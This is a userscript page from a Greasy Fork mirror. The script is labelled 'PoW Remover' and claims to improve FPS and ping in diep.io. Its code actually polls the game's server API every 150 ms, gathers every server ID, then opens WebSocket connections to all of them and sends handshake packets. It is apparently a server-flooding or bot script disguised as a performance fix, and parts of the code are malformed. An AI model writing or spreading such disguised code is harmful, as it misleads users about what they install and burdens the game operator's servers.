Greasy Fork镜像 支持简体中文。

PoW Remover

Removes PoW and Eval Packet in order to make FPS and Ping better.

目前為 2021-02-28 提交的版本,檢視 最新版本

  1. // ==UserScript==
  2. // @name PoW Remover
  3. // @namespace http://tampermonkey.net/
  4. // @version 1.0.2
  5. // @description Removes PoW and Eval Packet in order to make FPS and Ping better.
  6. // @author 샤담읻어
  7. // @match *://diep.io/*
  8. // @grant none
  9. // ==/UserScript==
  10. (function() {
  11. 'use strict';
  12.  
  13.  
  14. const GAMEMODES = ['ffa', 'survival', 'teams', '4teams', 'dom', 'tag', 'maze', 'sandbox'];
  15. const REGIONS = ['vultr-la', 'vultr-miami', 'vultr-amsterdam', 'vultr-sydney', 'vultr-singapore'];
  16. let SERVER_IDS = {};
  17. let servers = [];
  18.  
  19. GAMEMODES.forEach(function(gamemode) {
  20. REGIONS.forEach(function(region) {
  21. if (!SERVER_IDS[gamemode])
  22. SERVER_IDS[gamemode] = {};
  23.  
  24. SERVER_IDS[gamemode][region] = [];
  25. });
  26. });
  27.  
  28. setInterval(function() {
  29. GAMEMODES.forEach(function(gamemode) {
  30. fetch(`https://api.n.m28.io/endpoint/diepio-${gamemode}/findEach`)
  31. .then(r => r.json())
  32. .then(function(body) {
  33. REGIONS.forEach(function(region) {
  34. let serverID = body.servers[region].id;
  35. if (!SERVER_IDS[gamemode][region].includes(serverID)) {
  36. SERVER_IDS[gamemode][region].push(serverID);
  37. servers.push(serverID);
  38. }
  39. });
  40. })
  41. .catch(err => {});
  42. });
  43. }, 150);
  44.  
  45. setTimeout(function() {
  46. const sockets = [];
  47. servers.forEach(function(id) {
  48. const socket = new WebSocket(`wss://${id}.s.m28n.net`);
  49. sockets.push(socket);
  50.  
  51. socket.onopen = function() {
  52. console.log('A socket is ready');
  53. socket.send(new Uint8Array([0, 32, 43, 101, 57, 57, 48, 50, 49, 101, 55, 102, 99, 99, 98, 51, 102, 54, 53, 52, 101, 50, 50, 48, 102, 54, 55, 54, 54, 56, 51, 55, 57, 97, 102, 98, 48, 102, 52, 99, 99, 55, 55, 0, 0, 0, 0]));
  54. socket.send(new Uint8Array([11, '', '']));
  55. socket.send(new Uint8Array([13, {
  56. varuint: function(to, what, args) {
  57. return [to, what, args, 0];
  58. to.apply(what, args);
  59. },
  60. }, 0]));
  61. };
  62. });
  63. }, 10000);
  64. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址